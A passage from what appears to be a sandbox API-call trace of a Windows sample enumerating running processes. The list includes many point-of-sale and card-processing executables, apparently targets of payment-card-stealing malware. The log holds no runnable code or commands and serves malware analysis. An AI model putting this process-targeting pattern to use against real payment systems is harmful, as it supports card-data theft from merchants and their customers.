lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.176] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.183] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.186] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.189] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.192] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.197] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.200] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.204] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.228] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.230] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.232] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.235] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.236] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.239] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.241] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0238.244] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0238.247] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0238.250] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.252] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0238.254] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.258] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0238.260] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0238.262] CloseHandle (hObject=0x21ec) returned 1 [0238.262] Sleep (dwMilliseconds=0x64) [0238.264] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0238.279] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.282] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.284] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.286] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.289] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.291] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.293] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.295] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.296] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.298] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.300] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.301] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.303] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.344] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.346] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.348] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.350] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.351] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.353] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.355] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.357] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.358] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.360] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.362] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.364] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0238.365] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0238.367] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.369] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.370] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.372] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0238.374] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.375] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.377] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0238.378] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.380] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.382] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.385] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.386] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.388] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.389] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0238.391] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0238.393] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0238.394] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0238.396] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0238.398] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0238.399] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0238.401] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0238.402] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0238.404] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0238.406] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0238.407] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0238.409] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0238.411] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0238.412] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0238.414] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0238.415] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0238.417] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0238.418] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0238.420] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0238.423] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0238.425] 